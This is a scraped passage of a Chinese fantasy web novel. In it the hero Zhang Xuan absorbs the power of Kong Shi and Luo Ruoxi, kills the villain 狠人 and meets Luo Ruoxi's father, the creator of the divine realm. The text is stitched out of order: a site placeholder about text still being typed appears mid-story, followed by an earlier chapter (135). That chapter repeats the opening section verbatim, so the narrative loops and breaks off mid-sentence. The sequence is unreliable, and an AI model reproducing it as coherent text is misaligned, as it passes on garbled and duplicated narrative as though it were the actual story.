“你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百三十五章 惊天秘密 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 